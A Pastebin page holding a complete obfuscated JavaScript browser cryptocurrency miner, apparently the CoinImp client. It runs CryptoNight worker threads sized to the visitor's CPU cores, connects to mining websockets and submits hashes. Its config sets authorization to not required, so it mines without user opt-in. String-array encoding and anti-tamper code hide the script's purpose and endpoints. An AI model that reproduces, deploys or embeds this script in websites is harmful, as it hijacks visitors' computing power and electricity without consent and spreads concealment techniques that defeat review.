Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function(a, d) {
- var b = function(b) {
- while (--b) {
- a['push'](a['shift']());
- }
- };
- var c = function() {
- var a = {
- 'data': {
- 'key': 'cookie',
- 'value': 'timeout'
- },
- 'setCookie': function(b, h, i, e) {
- e = e || {};
- var c = h + '=' + i;
- var a = 0x0;
- for (var a = 0x0, f = b['length']; a < f; a++) {
- var g = b[a];
- c += '; ' + g;
- var d = b[g];
- b['push'](d);
- f = b['length'];
- if (d !== !![]) {
- c += '=' + d;
- }
- }
- e['cookie'] = c;
- },
- 'removeCookie': function() {
- return 'dev';
- },
- 'getCookie': function(a, f) {
- a = a || function(a) {
- return a;
- };
- var c = a(new RegExp('(?:^|; )' + f['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
- var e = function(a, b) {
- a(++b);
- };
- e(b, d);
- return c ? decodeURIComponent(c[0x1]) : undefined;
- }
- };
- var e = function() {
- var b = new RegExp('\w+ *\(\) *{\w+ *['|"].+['|"];? *}');
- return b['test'](a['removeCookie']['toString']());
- };
- a['updateCookie'] = e;
- var f = '';
- var c = a['updateCookie']();
- if (!c) {
- a['setCookie'](['*'], 'counter', 0x1);
- } else if (c) {
- f = a['getCookie'](null, 'counter');
- } else {
- a['removeCookie']();
- }
- };
- c();
- }(_0x160a, 0x1f3));
- var _0xa160 = function(b, e) {
- b = b - 0x0;
- var a = _0x160a[b];
- if (_0xa160['initialized'] === undefined) {
- (function() {
- var a;
- try {
- var b = Function('return (function() ' + '{}.constructor("return this")( )' + ');');
- a = b();
- } catch (b) {
- a = window;
- }
- var c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
- a['atob'] || (a['atob'] = function(h) {
- var f = String(h)['replace'](/=+$/, '');
- for (var b = 0x0, d, a, g = 0x0, e = ''; a = f['charAt'](g++); ~a && (d = b % 0x4 ? d * 0x40 + a : a, b++ % 0x4) ? e += String['fromCharCode'](0xff & d >> (-0x2 * b & 0x6)) : 0x0) {
- a = c['indexOf'](a);
- }
- return e;
- });
- }());
- _0xa160['base64DecodeUnicode'] = function(e) {
- var b = atob(e);
- var c = [];
- for (var a = 0x0, d = b['length']; a < d; a++) {
- c += '%' + ('00' + b['charCodeAt'](a)['toString'](0x10))['slice'](-0x2);
- }
- return decodeURIComponent(c);
- };
- _0xa160['data'] = {};
- _0xa160['initialized'] = !![];
- }
- var d = _0xa160['data'][b];
- if (d === undefined) {
- var c = function(a) {
- this['rc4Bytes'] = a;
- this['states'] = [0x1, 0x0, 0x0];
- this['newState'] = function() {
- return 'newState';
- };
- this['firstState'] = '\w+ *\(\) *{\w+ *';
- this['secondState'] = '['|"].+['|"];? *}';
- };
- c['prototype']['checkState'] = function() {
- var a = new RegExp(this['firstState'] + this['secondState']);
- return this['runState'](a['test'](this['newState']['toString']()) ? --this['states'][0x1] : --this['states'][0x0]);
- };
- c['prototype']['runState'] = function(a) {
- if (!Boolean(~a)) {
- return a;
- }
- return this['getState'](this['rc4Bytes']);
- };
- c['prototype']['getState'] = function(c) {
- for (var a = 0x0, b = this['states']['length']; a < b; a++) {
- this['states']['push'](Math['round'](Math['random']()));
- b = this['states']['length'];
- }
- return c(this['states'][0x0]);
- };
- new c(_0xa160)['checkState']();
- a = _0xa160['base64DecodeUnicode'](a);
- _0xa160['data'][b] = a;
- } else {
- a = d;
- }
- return a;
- };
- (function(b) {
- var c = function() {
- var a = !![];
- return function(d, b) {
- var c = a ? function() {
- if (b) {
- var a = b['apply'](d, arguments);
- b = null;
- return a;
- }
- } : function() {};
- a = ![];
- return c;
- };
- }();
- var d = c(this, function() {
- var b = function() {
- return 'dev';
- },
- c = function() {
- return 'window';
- };
- var d = function() {
- var a = new RegExp('\w+ *\(\) *{\w+ *['|"].+['|"];? *}');
- return !a['test'](b['toString']());
- };
- var e = function() {
- var a = new RegExp('(\\[x|u](\w){2,4})+');
- return a['test'](c['toString']());
- };
- var a = function(a) {
- var b = ~-0x1 >> 0x1 + 0xff % 0x0;
- if (a['indexOf']('i' === b)) {
- f(a);
- }
- };
- var f = function(b) {
- var c = ~-0x4 >> 0x1 + 0xff % 0x0;
- if (b['indexOf']((!![] + '')[0x3]) !== c) {
- a(b);
- }
- };
- if (!d()) {
- if (!e()) {
- a('ind\u0435xOf');
- } else {
- a('indexOf');
- }
- } else {
- a('ind\u0435xOf');
- }
- });
- d();
- 'use strict';
- var a = function(c, d) {
- this[_0xa160('0x0')] = d || {};
- this[_0xa160('0x1')] = c;
- this[_0xa160('0x2')] = null;
- this[_0xa160('0x3')] = [];
- this['_hashes'] = 0x0;
- this[_0xa160('0x4')] = null;
- this[_0xa160('0x5')] = !![];
- this['_reconnectRetry'] = 0x3;
- this['_tokenFromServer'] = null;
- this['_goal'] = 0x0;
- this[_0xa160('0x6')] = 0x0;
- this[_0xa160('0x7')] = Math[_0xa160('0x8')](0x0, Math[_0xa160('0x9')](0.99, this[_0xa160('0x0')][_0xa160('0xa')] || 0x0));
- this[_0xa160('0xb')] = ![];
- this[_0xa160('0xc')] = ![];
- this[_0xa160('0xd')] = {
- 'enabled': !!this[_0xa160('0x0')][_0xa160('0xe')],
- 'interval': null,
- 'adjustAt': null,
- 'adjustEvery': 0x2710,
- 'stats': {}
- };
- this['_tab'] = {
- 'ident': Math[_0xa160('0xf')]() * 0xffffff | 0x0,
- 'mode': Client[_0xa160('0x10')],
- 'grace': 0x0,
- 'waitReconnect': 0x0,
- 'lastPingReceived': 0x0,
- 'interval': null
- };
- if (b[_0xa160('0x11')]) {
- try {
- this[_0xa160('0x12')] = new BroadcastChannel(_0xa160('0x13'));
- this[_0xa160('0x12')]['onmessage'] = function(a) {
- if (a['data'] === 'ping') {
- this[_0xa160('0x14')][_0xa160('0x15')] = Date['now']();
- }
- }[_0xa160('0x16')](this);
- } catch (a) {}
- }
- if (Client['CONFIG'][_0xa160('0x17')]) {
- this[_0xa160('0x18')] = new Client[(_0xa160('0x19'))](this[_0xa160('0x1')], {
- 'theme': this[_0xa160('0x0')][_0xa160('0x1a')] || 'light',
- 'lang': this[_0xa160('0x0')][_0xa160('0x1b')] || _0xa160('0x1c')
- });
- }
- this['_eventListeners'] = {
- 'open': [],
- 'authed': [],
- 'close': [],
- 'error': [],
- 'job': [],
- 'found': [],
- 'accepted': [],
- 'optin': []
- };
- var a = navigator[_0xa160('0x1d')] || 0x4;
- this['_targetNumThreads'] = this[_0xa160('0x0')][_0xa160('0x1e')] || a;
- this[_0xa160('0x1f')] = this[_0xa160('0x20')]() && !this[_0xa160('0x0')][_0xa160('0x21')];
- this[_0xa160('0x22')] = _0xa160('0x23');
- this['_onTargetMetBound'] = this[_0xa160('0x24')]['bind'](this);
- this[_0xa160('0x25')] = this[_0xa160('0x26')][_0xa160('0x16')](this);
- };
- a[_0xa160('0x27')][_0xa160('0x28')] = function(c, d) {
- this[_0xa160('0x14')][_0xa160('0x29')] = c || Client[_0xa160('0x10')];
- this[_0xa160('0x2a')] = d;
- if (this[_0xa160('0x14')][_0xa160('0x2b')]) {
- clearInterval(this[_0xa160('0x14')]['interval']);
- this[_0xa160('0x14')]['interval'] = null;
- }
- if (this[_0xa160('0x1f')] || this[_0xa160('0x22')] === _0xa160('0x2c')) {
- this[_0xa160('0x2d')]();
- } else if (this[_0xa160('0x22')] === _0xa160('0x23')) {
- this['_asmjsStatus'] = _0xa160('0x2e');
- var a = new XMLHttpRequest();
- a[_0xa160('0x2f')](_0xa160('0x30'), function() {
- Client[_0xa160('0x31')] = b[_0xa160('0x32')][_0xa160('0x33')](new Blob([a[_0xa160('0x34')]]));
- this[_0xa160('0x22')] = 'loaded';
- this['_startNow']();
- }[_0xa160('0x16')](this), a);
- a['open']('get', Client[_0xa160('0x35')]['LIB_URL'] + Client[_0xa160('0x35')][_0xa160('0x36')], !![]);
- a[_0xa160('0x37')]();
- }
- };
- a['prototype'][_0xa160('0x38')] = function(b) {
- for (var a = 0x0; a < this[_0xa160('0x3')][_0xa160('0x39')]; a++) {
- this[_0xa160('0x6')] += this['_threads'][a]['hashesTotal'];
- this[_0xa160('0x3')][a][_0xa160('0x38')]();
- }
- this['_threads'] = [];
- this[_0xa160('0x5')] = ![];
- if (this['_socket']) {
- this['_socket']['close']();
- }
- this[_0xa160('0x4')] = null;
- if (this[_0xa160('0xd')][_0xa160('0x2b')]) {
- clearInterval(this['_autoThreads'][_0xa160('0x2b')]);
- this[_0xa160('0xd')][_0xa160('0x2b')] = null;
- }
- if (this[_0xa160('0x14')]['interval'] && b !== _0xa160('0x3a')) {
- clearInterval(this['_tab'][_0xa160('0x2b')]);
- this[_0xa160('0x14')][_0xa160('0x2b')] = null;
- }
- };
- a[_0xa160('0x27')][_0xa160('0x3b')] = function() {
- var b = 0x0;
- for (var a = 0x0; a < this[_0xa160('0x3')]['length']; a++) {
- b += this[_0xa160('0x3')][a]['hashesPerSecond'];
- }
- return b;
- };
- a[_0xa160('0x27')][_0xa160('0x3c')] = function(f) {
- var d = Date[_0xa160('0x3d')]();
- var a = this[_0xa160('0x6')];
- for (var b = 0x0; b < this[_0xa160('0x3')][_0xa160('0x39')]; b++) {
- var c = this[_0xa160('0x3')][b];
- a += c[_0xa160('0x3e')];
- if (f) {
- var e = (d - c[_0xa160('0x3f')]) / 0x3e8 * 0.9;
- a += e * c[_0xa160('0x40')];
- }
- }
- return a | 0x0;
- };
- a['prototype'][_0xa160('0x41')] = function() {
- return this[_0xa160('0x42')];
- };
- a[_0xa160('0x27')][_0xa160('0x43')] = function() {
- return this[_0xa160('0x44')];
- };
- a[_0xa160('0x27')]['on'] = function(a, b) {
- if (this[_0xa160('0x45')][a]) {
- this[_0xa160('0x45')][a][_0xa160('0x46')](b);
- }
- };
- a['prototype'][_0xa160('0x47')] = function(a) {
- return this[_0xa160('0xd')][_0xa160('0x48')];
- };
- a[_0xa160('0x27')][_0xa160('0x49')] = function(a) {
- this[_0xa160('0xd')][_0xa160('0x48')] = !!a;
- if (!a && this['_autoThreads']['interval']) {
- clearInterval(this[_0xa160('0xd')][_0xa160('0x2b')]);
- this['_autoThreads'][_0xa160('0x2b')] = null;
- }
- if (a && !this['_autoThreads'][_0xa160('0x2b')]) {
- this[_0xa160('0xd')][_0xa160('0x4a')] = Date[_0xa160('0x3d')]() + this[_0xa160('0xd')][_0xa160('0x4b')];
- this[_0xa160('0xd')][_0xa160('0x2b')] = setInterval(this[_0xa160('0x4c')][_0xa160('0x16')](this), 0x3e8);
- }
- };
- a[_0xa160('0x27')][_0xa160('0x4d')] = function() {
- return this[_0xa160('0x7')];
- };
- a[_0xa160('0x27')]['setThrottle'] = function(a) {
- this[_0xa160('0x7')] = Math[_0xa160('0x8')](0x0, Math[_0xa160('0x9')](0.99, a));
- if (this[_0xa160('0x4')]) {
- this['_setJob'](this[_0xa160('0x4')]);
- }
- };
- a['prototype'][_0xa160('0x4e')] = function() {
- return this[_0xa160('0x4f')];
- };
- a[_0xa160('0x27')][_0xa160('0x50')] = function(a) {
- var a = Math[_0xa160('0x8')](0x1, a | 0x0);
- this[_0xa160('0x4f')] = a;
- if (a > this['_threads'][_0xa160('0x39')]) {
- for (var c = 0x0; a > this[_0xa160('0x3')]['length']; c++) {
- var b = new Client[(_0xa160('0x51'))]();
- if (this[_0xa160('0x4')]) {
- b[_0xa160('0x52')](this[_0xa160('0x4')], this['_onTargetMetBound']);
- }
- this[_0xa160('0x3')][_0xa160('0x46')](b);
- }
- } else if (a < this[_0xa160('0x3')]['length']) {
- while (a < this[_0xa160('0x3')][_0xa160('0x39')]) {
- var b = this[_0xa160('0x3')][_0xa160('0x53')]();
- this['_totalHashesFromDeadThreads'] += b[_0xa160('0x3e')];
- b[_0xa160('0x38')]();
- }
- }
- };
- a[_0xa160('0x27')][_0xa160('0x20')] = function() {
- return b['WebAssembly'] !== undefined;
- };
- a[_0xa160('0x27')]['isRunning'] = function() {
- return this[_0xa160('0x3')][_0xa160('0x39')] > 0x0;
- };
- a[_0xa160('0x27')]['isMobile'] = function() {
- return /mobile|Android|webOS|iPhone|iPad|iPod|IEMobile|Opera Mini/i [_0xa160('0x54')](navigator[_0xa160('0x55')]);
- };
- a['prototype'][_0xa160('0x56')] = function(a) {
- if (!Client[_0xa160('0x35')]['REQUIRES_AUTH']) {
- return ![];
- }
- a = a || 0x3c * 0x3c * 0x4;
- var b = this[_0xa160('0x18')]['getOptOutTime']();
- return !!(b && b > Date[_0xa160('0x3d')]() / 0x3e8 - a);
- };
- a['prototype']['_startNow'] = function() {
- if (this['_tab'][_0xa160('0x29')] !== Client[_0xa160('0x57')] && !this[_0xa160('0x14')][_0xa160('0x2b')]) {
- this['_tab'][_0xa160('0x2b')] = setInterval(this['_updateTabs'][_0xa160('0x16')](this), 0x3e8);
- }
- if (this[_0xa160('0x14')][_0xa160('0x29')] === Client[_0xa160('0x10')] && this[_0xa160('0x58')]()) {
- return;
- }
- if (this[_0xa160('0x14')][_0xa160('0x29')] === Client[_0xa160('0x59')]) {
- this[_0xa160('0x14')][_0xa160('0x5a')] = Date[_0xa160('0x3d')]() + 0xbb8;
- }
- if (!this[_0xa160('0x5b')]) {
- this[_0xa160('0x5b')] = new Client[(_0xa160('0x51'))]();
- }
- this['setNumThreads'](this['_targetNumThreads']);
- this[_0xa160('0x5')] = !![];
- if (Client[_0xa160('0x35')][_0xa160('0x17')] && !this['_optInToken']) {
- this['_waitingForAuth'] = !![];
- this[_0xa160('0x18')]['auth'](function(a) {
- this[_0xa160('0xc')] = ![];
- if (!a) {
- this['stop']();
- this[_0xa160('0x5c')](_0xa160('0x5d'), {
- 'status': _0xa160('0x5e')
- });
- this['_emit']('error', {
- 'error': _0xa160('0x5f')
- });
- return;
- }
- this[_0xa160('0x5c')](_0xa160('0x5d'), {
- 'status': _0xa160('0x60')
- });
- this[_0xa160('0x2a')] = a;
- this[_0xa160('0x61')]();
- }[_0xa160('0x16')](this));
- } else {
- this[_0xa160('0x61')]();
- }
- };
- a[_0xa160('0x27')][_0xa160('0x58')] = function() {
- if (this['_tab'][_0xa160('0x15')] > Date[_0xa160('0x3d')]() - 0x5dc) {
- return !![];
- }
- try {
- var a = localStorage[_0xa160('0x62')]('coinimp');
- if (a) {
- var b = JSON[_0xa160('0x63')](a);
- if (b[_0xa160('0x64')] !== this['_tab'][_0xa160('0x64')] && Date[_0xa160('0x3d')]() - b['time'] < 0x5dc) {
- return !![];
- }
- }
- } catch (a) {}
- return ![];
- };
- a['prototype']['_updateTabs'] = function() {
- if (Date[_0xa160('0x3d')]() < this[_0xa160('0x14')][_0xa160('0x65')]) {
- return;
- }
- var a = this[_0xa160('0x58')]();
- if (a && this[_0xa160('0x66')]() && Date[_0xa160('0x3d')]() > this[_0xa160('0x14')][_0xa160('0x5a')]) {
- this[_0xa160('0x38')](_0xa160('0x3a'));
- } else if (!a && !this[_0xa160('0x66')]()) {
- this[_0xa160('0x2d')]();
- }
- if (this[_0xa160('0x66')]() && !this[_0xa160('0xc')]) {
- if (this[_0xa160('0x12')]) {
- this['_bc'][_0xa160('0x67')](_0xa160('0x68'));
- }
- try {
- localStorage[_0xa160('0x69')](_0xa160('0x13'), JSON[_0xa160('0x6a')]({
- 'ident': this[_0xa160('0x14')][_0xa160('0x64')],
- 'time': Date[_0xa160('0x3d')]()
- }));
- } catch (a) {}
- }
- };
- a['prototype'][_0xa160('0x4c')] = function() {
- var f = this['getHashesPerSecond']();
- var a = this[_0xa160('0x4e')]();
- var b = this[_0xa160('0xd')][_0xa160('0x6b')];
- b[a] = b[a] ? b[a] * 0.5 + f * 0.5 : f;
- if (Date[_0xa160('0x3d')]() > this[_0xa160('0xd')][_0xa160('0x4a')]) {
- this[_0xa160('0xd')][_0xa160('0x4a')] = Date['now']() + this[_0xa160('0xd')]['adjustEvery'];
- var c = (b[a] || 0x0) - 0x1;
- var d = b[a + 0x1] || 0x0;
- var e = b[a - 0x1] || 0x0;
- if (c > e && (d === 0x0 || d > c) && a < 0x8) {
- return this[_0xa160('0x50')](a + 0x1);
- } else if (c > d && (!e || e > c) && a > 0x1) {
- return this[_0xa160('0x50')](a - 0x1);
- }
- }
- };
- a[_0xa160('0x27')][_0xa160('0x5c')] = function(c, d) {
- var a = this['_eventListeners'][c];
- if (a && a[_0xa160('0x39')]) {
- for (var b = 0x0; b < a[_0xa160('0x39')]; b++) {
- a[b](d);
- }
- }
- };
- a[_0xa160('0x27')][_0xa160('0x6c')] = function(c) {
- var a = 0x1505,
- b = c['length'];
- while (b) {
- a = a * 0x21 ^ c[_0xa160('0x6d')](--b);
- }
- return a >>> 0x0;
- };
- a[_0xa160('0x27')][_0xa160('0x61')] = function() {
- if (this[_0xa160('0x6e')]) {
- return;
- }
- var a = Client['CONFIG']['WEBSOCKET_SHARDS'];
- var c = this[_0xa160('0x6c')](this[_0xa160('0x1')]) % a[_0xa160('0x39')];
- var b = a[c];
- var d = b[Math['random']() * b[_0xa160('0x39')] | 0x0];
- this[_0xa160('0x6e')] = new WebSocket(d);
- this[_0xa160('0x6e')][_0xa160('0x6f')] = this[_0xa160('0x70')][_0xa160('0x16')](this);
- this[_0xa160('0x6e')][_0xa160('0x71')] = this['_onError'][_0xa160('0x16')](this);
- this[_0xa160('0x6e')][_0xa160('0x72')] = this[_0xa160('0x73')]['bind'](this);
- this['_socket']['onopen'] = this[_0xa160('0x74')][_0xa160('0x16')](this);
- };
- a[_0xa160('0x27')][_0xa160('0x74')] = function(b) {
- this[_0xa160('0x5c')](_0xa160('0x75'));
- var a = {
- 'site_key': this[_0xa160('0x1')],
- 'type': _0xa160('0x76'),
- 'user': null,
- 'goal': 0x0
- };
- if (this['_user']) {
- a[_0xa160('0x77')] = _0xa160('0x78');
- a[_0xa160('0x78')] = this[_0xa160('0x2')][_0xa160('0x79')]();
- } else if (this[_0xa160('0x7a')]) {
- a[_0xa160('0x77')] = _0xa160('0x7b');
- a[_0xa160('0x7c')] = this[_0xa160('0x7a')];
- }
- if (this[_0xa160('0x0')]['ref']) {
- a['ref'] = this[_0xa160('0x0')]['ref'];
- }
- if (this[_0xa160('0x2a')]) {
- a[_0xa160('0x7d')] = this[_0xa160('0x2a')];
- }
- this[_0xa160('0x7e')](_0xa160('0x7f'), a);
- };
- a['prototype']['_onError'] = function(a) {
- this[_0xa160('0x5c')](_0xa160('0x80'), {
- 'error': _0xa160('0x81')
- });
- this[_0xa160('0x73')](a);
- };
- a['prototype'][_0xa160('0x73')] = function(b) {
- if (b[_0xa160('0x82')] >= 0x3eb && b[_0xa160('0x82')] <= 0x3f1) {
- this[_0xa160('0x83')] = 0x3c;
- this[_0xa160('0x14')][_0xa160('0x65')] = Date[_0xa160('0x3d')]() + 0x3c * 0x3e8;
- }
- for (var a = 0x0; a < this[_0xa160('0x3')]['length']; a++) {
- this[_0xa160('0x3')][a][_0xa160('0x38')]();
- }
- this[_0xa160('0x3')] = [];
- this[_0xa160('0x6e')] = null;
- this[_0xa160('0x5c')]('close');
- if (this[_0xa160('0x5')]) {
- setTimeout(this[_0xa160('0x2d')][_0xa160('0x16')](this), this[_0xa160('0x83')] * 0x3e8);
- }
- };
- a[_0xa160('0x27')]['_onMessage'] = function(b) {
- var a = JSON[_0xa160('0x63')](b['data']);
- if (a[_0xa160('0x77')] === _0xa160('0x84')) {
- this[_0xa160('0x85')](a[_0xa160('0x0')]);
- this[_0xa160('0x5c')](_0xa160('0x84'), a['params']);
- if (this[_0xa160('0xd')][_0xa160('0x48')] && !this['_autoThreads']['interval']) {
- this[_0xa160('0xd')][_0xa160('0x4a')] = Date[_0xa160('0x3d')]() + this[_0xa160('0xd')][_0xa160('0x4b')];
- this['_autoThreads'][_0xa160('0x2b')] = setInterval(this[_0xa160('0x4c')][_0xa160('0x16')](this), 0x3e8);
- }
- } else if (a[_0xa160('0x77')] === _0xa160('0x86')) {
- this[_0xa160('0x5b')][_0xa160('0x86')](a[_0xa160('0x0')], this[_0xa160('0x25')]);
- } else if (a[_0xa160('0x77')] === 'hash_accepted') {
- this['_hashes'] = a[_0xa160('0x0')][_0xa160('0x87')];
- this[_0xa160('0x5c')](_0xa160('0x60'), a[_0xa160('0x0')]);
- if (this[_0xa160('0x7a')] && this[_0xa160('0x42')] >= this[_0xa160('0x7a')]) {
- this[_0xa160('0x38')]();
- }
- } else if (a[_0xa160('0x77')] === _0xa160('0x88')) {
- this[_0xa160('0x44')] = a['params'][_0xa160('0x7b')] || null;
- this[_0xa160('0x42')] = a[_0xa160('0x0')][_0xa160('0x87')] || 0x0;
- this[_0xa160('0x5c')](_0xa160('0x88'), a[_0xa160('0x0')]);
- this[_0xa160('0x83')] = 0x3;
- this[_0xa160('0x14')][_0xa160('0x65')] = 0x0;
- } else if (a['type'] === _0xa160('0x80')) {
- if (console && console[_0xa160('0x80')]) {
- console[_0xa160('0x80')]('Coinimp Error:', a[_0xa160('0x0')][_0xa160('0x80')]);
- }
- this[_0xa160('0x5c')](_0xa160('0x80'), a[_0xa160('0x0')]);
- if (a[_0xa160('0x0')][_0xa160('0x80')] === _0xa160('0x89')) {
- this[_0xa160('0x83')] = 0x1770;
- this[_0xa160('0x14')][_0xa160('0x65')] = Date[_0xa160('0x3d')]() + 0x1770 * 0x3e8;
- } else if (a[_0xa160('0x0')][_0xa160('0x80')] === 'invalid_opt_in') {
- if (this[_0xa160('0xb')]) {
- return this[_0xa160('0x38')]();
- } else if (this[_0xa160('0x18')]) {
- this[_0xa160('0x18')][_0xa160('0x8a')]();
- }
- }
- }
- if (a[_0xa160('0x77')] === _0xa160('0x8b') || a['params'][_0xa160('0x8b')]) {
- this[_0xa160('0x5c')](_0xa160('0x80'), {
- 'banned': !![]
- });
- this[_0xa160('0x83')] = 0x258;
- this[_0xa160('0x14')][_0xa160('0x65')] = Date[_0xa160('0x3d')]() + 0x258 * 0x3e8;
- }
- };
- a[_0xa160('0x27')]['_setJob'] = function(b) {
- this[_0xa160('0x4')] = b;
- this[_0xa160('0x4')][_0xa160('0xa')] = this[_0xa160('0x7')];
- for (var a = 0x0; a < this[_0xa160('0x3')][_0xa160('0x39')]; a++) {
- this['_threads'][a][_0xa160('0x52')](b, this[_0xa160('0x8c')]);
- }
- };
- a['prototype'][_0xa160('0x24')] = function(a) {
- this[_0xa160('0x5c')](_0xa160('0x8d'), a);
- if (a[_0xa160('0x8e')] === this[_0xa160('0x4')][_0xa160('0x8e')]) {
- this[_0xa160('0x7e')](_0xa160('0x8f'), {
- 'job_id': a['job_id'],
- 'nonce': a[_0xa160('0x90')],
- 'result': a[_0xa160('0x91')]
- });
- }
- };
- a[_0xa160('0x27')]['_onVerified'] = function(a) {
- this[_0xa160('0x7e')](_0xa160('0x92'), a);
- };
- a[_0xa160('0x27')][_0xa160('0x7e')] = function(b, c) {
- if (!this[_0xa160('0x6e')]) {
- return;
- }
- var a = {
- 'type': b,
- 'params': c || {}
- };
- this[_0xa160('0x6e')]['send'](JSON[_0xa160('0x6a')](a));
- };
- b[_0xa160('0x93')] = b[_0xa160('0x93')] || {};
- b[_0xa160('0x93')][_0xa160('0x10')] = 'ifExclusiveTab';
- b[_0xa160('0x93')][_0xa160('0x59')] = _0xa160('0x94');
- b[_0xa160('0x93')]['FORCE_MULTI_TAB'] = 'forceMultiTab';
- b['Client'][_0xa160('0x95')] = function(c, d, e) {
- var b = new a(c, e);
- b[_0xa160('0x7a')] = d || 0x0;
- return b;
- };
- b[_0xa160('0x93')][_0xa160('0x96')] = function(c, d, e) {
- var b = new a(c, e);
- b[_0xa160('0x2')] = d;
- return b;
- };
- b[_0xa160('0x93')]['Anonymous'] = function(c, d) {
- var b = new a(c, d);
- return b;
- };
- }(window));
- (function(b) {
- 'use strict';
- var a = function() {
- this[_0xa160('0x97')] = new Worker(Client['CRYPTONIGHT_WORKER_BLOB']);
- this[_0xa160('0x97')][_0xa160('0x6f')] = this[_0xa160('0x98')]['bind'](this);
- this[_0xa160('0x99')] = null;
- this[_0xa160('0x9a')] = function() {};
- this[_0xa160('0x9b')] = function() {};
- this[_0xa160('0x9c')] = ![];
- this[_0xa160('0x40')] = 0x0;
- this[_0xa160('0x3e')] = 0x0;
- this['running'] = ![];
- this[_0xa160('0x3f')] = Date[_0xa160('0x3d')]();
- };
- a[_0xa160('0x27')][_0xa160('0x98')] = function(a) {
- if (a[_0xa160('0x9d')] !== _0xa160('0x9e') || this[_0xa160('0x9c')]) {
- throw 'Expecting first message to be "ready", got ' + a;
- }
- this[_0xa160('0x9c')] = !![];
- this[_0xa160('0x97')][_0xa160('0x6f')] = this[_0xa160('0x9f')][_0xa160('0x16')](this);
- if (this[_0xa160('0x99')]) {
- this[_0xa160('0xa0')] = !![];
- this[_0xa160('0x97')][_0xa160('0x67')](this[_0xa160('0x99')]);
- }
- };
- a[_0xa160('0x27')]['onReceiveMsg'] = function(a) {
- if (a['data'][_0xa160('0xa1')]) {
- this[_0xa160('0x9b')](a[_0xa160('0x9d')]);
- return;
- }
- if (a['data']['result']) {
- this[_0xa160('0x9a')](a[_0xa160('0x9d')]);
- }
- this[_0xa160('0x40')] = this[_0xa160('0x40')] * 0.5 + a['data'][_0xa160('0x40')] * 0.5;
- this[_0xa160('0x3e')] += a[_0xa160('0x9d')][_0xa160('0x87')];
- this[_0xa160('0x3f')] = Date[_0xa160('0x3d')]();
- if (this[_0xa160('0xa0')]) {
- this[_0xa160('0x97')]['postMessage'](this[_0xa160('0x99')]);
- }
- };
- a[_0xa160('0x27')]['setJob'] = function(a, b) {
- this[_0xa160('0x99')] = a;
- this[_0xa160('0x9a')] = b;
- if (this[_0xa160('0x9c')] && !this[_0xa160('0xa0')]) {
- this[_0xa160('0xa0')] = !![];
- this[_0xa160('0x97')][_0xa160('0x67')](this[_0xa160('0x99')]);
- }
- };
- a[_0xa160('0x27')][_0xa160('0x86')] = function(a, b) {
- if (!this[_0xa160('0x9c')]) {
- return;
- }
- this[_0xa160('0x9b')] = b;
- this[_0xa160('0x97')][_0xa160('0x67')](a);
- };
- a[_0xa160('0x27')][_0xa160('0x38')] = function() {
- if (this[_0xa160('0x97')]) {
- this[_0xa160('0x97')][_0xa160('0xa2')]();
- this[_0xa160('0x97')] = null;
- }
- this['running'] = ![];
- };
- b[_0xa160('0x93')][_0xa160('0x51')] = a;
- }(window));
- self[_0xa160('0x93')] = self['Client'] || {};
- self[_0xa160('0x93')][_0xa160('0x35')] = {
- 'LIB_URL': _0xa160('0xa3'),
- 'ASMJS_NAME': _0xa160('0xa4'),
- 'REQUIRES_AUTH': ![],
- 'WEBSOCKET_SHARDS': [
- [_0xa160('0xa5')]
- ],
- 'CAPTCHA_URL': 'https://a5.cba.pl/captcha/',
- 'MINER_URL': _0xa160('0xa6'),
- 'AUTH_URL': _0xa160('0xa7')
- };
- Client[_0xa160('0x31')] = URL[_0xa160('0x33')](new Blob([_0xa160('0xa8')]));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement